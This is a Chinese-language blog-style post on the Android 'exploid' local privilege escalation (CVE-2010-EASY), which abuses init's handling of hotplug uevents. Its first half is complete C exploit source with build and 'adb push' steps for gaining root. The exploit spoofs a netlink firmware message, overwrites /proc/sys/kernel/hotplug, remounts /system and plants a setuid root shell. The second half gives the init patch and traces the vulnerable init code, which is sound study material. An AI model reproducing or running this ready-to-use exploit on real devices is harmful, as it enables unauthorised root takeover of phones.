android提权漏洞CVE-2010-EASY修复





 linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。


程序执行的顺序用(1)序号标明了。

通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具

通过arm-none-eabi-gcc exploid.c -static -o exploid 编译

adb push exploid /data/local/tmp 目录中执行即可root


        提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。

 



#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>

int main(int argc, char **argv, char **env)
{
        char buf[512], path[512];
        int ofd;
        struct sockaddr_nl snl;
        struct iovec iov = {buf, sizeof(buf)};
        //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送
        struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
        int sock;
        char *basedir = NULL;


        /* I hope there is no LD_ bug in androids rtld :) */
        //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell
        if (geteuid() == 0 && getuid() != 0)
                rootshell(env);

    //(2)获取程序的路径,为/data/local/tmp/exploid
        if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
                die("[-] readlink");

        if (geteuid() == 0) {
        //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限
                clear_hotplug();
                /* remount /system rw */

                //(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性
                remount_system("/system");
                if (copy(path, "/system/bin/rootshell") != 0)
                        chmod("/system/bin/sh", 04755);
                else
                        chmod("/system/bin/rootshell", 04711);
                for (;;)
                        sleep(3);
        }

        printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
    //(3)改变工作目录,没有root权限,只可以在少数目录执行
        basedir = "/sqlite_stmt_journals";
        if (chdir(basedir) < 0) {
                basedir = "/data/local/tmp";
                if (chdir(basedir) < 0)
                        basedir = strdup(getcwd(buf, sizeof(buf)));
        }
        printf("[+] Using basedir=%s, path=%s\n", basedir, path);
        printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

        memset(&snl, 0, sizeof(snl));
        snl.nl_pid = 1;
        snl.nl_family = AF_NETLINK;

    //(4)构建一个NETLINK的套接字
        if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
                die("[-] socket");

    //(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid
        close(creat("loading", 0666));
        if ((ofd = creat("hotplug", 0644)) < 0)
                die("[-] creat");
        if (write(ofd, path , strlen(path)) < 0)
                die("[-] write");
        close(ofd);

        //(6)建立一个data文件,为指向系统的hotplug的符号链接
        symlink("/proc/sys/kernel/hotplug", "data");

        //(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug
        snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
                 "SUBSYSTEM=firmware%c"
                 "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
        printf("[+] sending add message ...\n");

        //(8)发送该信息
        if (sendmsg(sock, &msg, 0) < 0)
                die("[-] sendmsg");
        close(sock);
        printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
               "[*] settings, plugin USB key etc.\n"
               "[*] You succeeded if you find /system/bin/rootshell.\n"
               "[*] GUI might hang/restart meanwhile so be patient.\n");
        sleep(3);
        return 0;
}

void die(const char *msg)
{
        perror(msg);
        exit(errno);
}


int copy(const char *from, const char *to)
{
        int fd1, fd2;
        char buf[0x1000];
        int r = 0;

        if ((fd1 = open(from, O_RDONLY)) < 0)
                return -1;
        if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
                close(fd1);
                return -1;
        }

        for (;;) {
                r = read(fd1, buf, sizeof(buf));
                if (r <= 0)
                        break;
                if (write(fd2, buf, r) != r)
                        break;
        }

        close(fd1);
        close(fd2);
        sync(); sync();
        return r;
}


void clear_hotplug()
{
        int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
        write(ofd, "", 1);
        close(ofd);
}


void rootshell(char **env)
{
        char *sh[] = {"/system/bin/sh", 0};

        // AID_SHELL
        if (getuid() != 2000)
                die("[-] Permission denied.");

        setuid(0); setgid(0);
        execve(*sh, sh, env);
        die("[-] execve");
}


int remount_system(const char *mntpoint)
{
        FILE *f = NULL;
        int found = 0;
        char buf[1024], *dev = NULL, *fstype = NULL;

        if ((f = fopen("/proc/mounts", "r")) == NULL)
                return -1;

        memset(buf, 0, sizeof(buf));
        for (;!feof(f);) {
                if (fgets(buf, sizeof(buf), f) == NULL)
                        break;
                if (strstr(buf, mntpoint)) {
                        found = 1;
                        break;
                }
        }
        fclose(f);
        if (!found)
                return -1;
        if ((dev = strtok(buf, " \t")) == NULL)
                return -1;
        if (strtok(NULL, " \t") == NULL)
                return -1;
        if ((fstype = strtok(NULL, " \t")) == NULL)
                return -1;
        return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}

CVE-2010-EASY漏洞是android两大提权漏洞之一,它的修复方法很简单


只需要给system/core/init/devices.c文件打个补丁就可以了,具体内容如下

static int open_uevent_socket(void)                                                            
{ 
+    setsockopt(s, SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));
//在open_uevent_socket对套接字增加一个选项 SO_PASSCRED,这样可以让套接字增加一个认证,让接收者可以知道发送者的uid和gid :-)
 
}
 
void handle_device_fd(int fd)
{
+    for(;;) {
+        char msg[UEVENT_MSG_LEN+2];
+        char cred_msg[CMSG_SPACE(sizeof(struct ucred))];
+        struct iovec iov = {msg, sizeof(msg)};
+        struct sockaddr_nl snl;
+        struct msghdr hdr = {&snl, sizeof(snl), &iov, 1, cred_msg, sizeof(cred_msg), 0};
+
+        ssize_t n = recvmsg(fd, &hdr, 0);
+        if (n <= 0) {
+            break;
+        }
 
-    while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) > 0) {
-        struct uevent uevent;
+        if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) {
+            /* 如果不是内核的多播信息则抛弃 */
+            continue;
+        }
+
+        struct cmsghdr * cmsg = CMSG_FIRSTHDR(&hdr);
+        if (cmsg == NULL || cmsg->cmsg_type != SCM_CREDENTIALS) {
+            /* 如果发送者的认证没有则抛弃 */
+            continue;
+        }
+
+        struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg);
+        if (cred->uid != 0) {
+            /* 消息不是来自于root用户则抛弃 */
+            continue;
+        }
}
}




结合init源码剖析android root提权漏洞(CVE-2010-EASY)









主要介绍向init进程发送热拔插信息后init进程的处理流程

首先我们来了解一个数据结构,uevent,如下


struct uevent {                                                                                
    const char *action;                                                                        
    const char *path;                                                                          
    const char *subsystem;                                                                     
    const char *firmware;                                                                      
    int major;                                                                                 
    int minor;                                                                                 
};

 

内核收到的信息如下,ACTION=addDEVPATH=/../data/local/tmpSUBSYSTEM=firmwareFIRMWARE=../../../data/local/tmp/hotplug
通过如下函数parse_event进行解析


static void parse_event(const char *msg, struct uevent *uevent) 
{
 
    while(*msg) {                                                                              
        if(!strncmp(msg, "ACTION=", 7)) {                                                      
            msg += 7;                                                                          
            uevent->action = msg;                                                              
        } else if(!strncmp(msg, "DEVPATH=", 8)) {                                              
            msg += 8;                                                                          
            uevent->path = msg;                                                                
        } else if(!strncmp(msg, "SUBSYSTEM=", 10)) {                                           
            msg += 10;                                                                         
            uevent->subsystem = msg;                                                           
        } else if(!strncmp(msg, "FIRMWARE=", 9)) {                                             
            msg += 9;                                                                          
            uevent->firmware = msg;                                                            
        } else if(!strncmp(msg, "MAJOR=", 6)) {                                                
            msg += 6;                                                                          
            uevent->major = atoi(msg);                                                         
        } else if(!strncmp(msg, "MINOR=", 6)) {                                                
            msg += 6;                                                                          
            uevent->minor = atoi(msg);                                                         
        }
         while(*msg++);
    }

  


经过解析之后,uevent的结构为:

action="add"
 path="/../data/local/tmp"
 subsystem="firmware"
 firmware="../../../data/local/tmp/hotplug"

 

之后来到处理firmware的核心函数


static void process_firmware_event(struct uevent *uevent)
{
    l = asprintf(&root, SYSFS_PREFIX"%s/", uevent->path);
    //root为/sys/../data/local/tmp/=/data/local/tmp/
    
    l = asprintf(&loading, "%sloading", root);
    //loading为/data/local/tmp/loading
    
    l = asprintf(&data, "%sdata", root);
    //data为/data/local/tmp/data   其内容为指向/proc/sys/kernel/hotplug的符号链接
    
    l = asprintf(&file, FIRMWARE_DIR"/%s", uevent->firmware);
    //file为/etc/firmware/../../../data/local/tmp/hotplug=/data/local/tmp/hotplug
    
    loading_fd = open(loading, O_WRONLY);
    
    data_fd = open(data, O_WRONLY); 
    
    fw_fd = open(file, O_RDONLY);
    
    load_firmware(fw_fd, loading_fd, data_fd);
}

最后来到load_firmware函数,把hotplug中的数据写到/proc/sys/kernel/hotplug中
其内容变为/data/local/tmp/exploid


static int load_firmware(int fw_fd, int loading_fd, int data_fd)
{
    while (len_to_copy > 0) {
        char buf[PAGE_SIZE];
 
 
        nr = read(fw_fd, buf, sizeof(buf));
                                                                         
        len_to_copy -= nr;                                                                     
        while (nr > 0) {                                                                       
                                                                                               
            nw = write(data_fd, buf + nw, nr);                                                 
 
            nr -= nw;
        }
    }
}

 

终于/proc/sys/kernel/hotplug中写入了我们的恶意程序了,只要再次受到如wifi打开、usb插入等热拔插信息,内核就会以root权限加载我们的程序再一次执行,从而达到提权的目的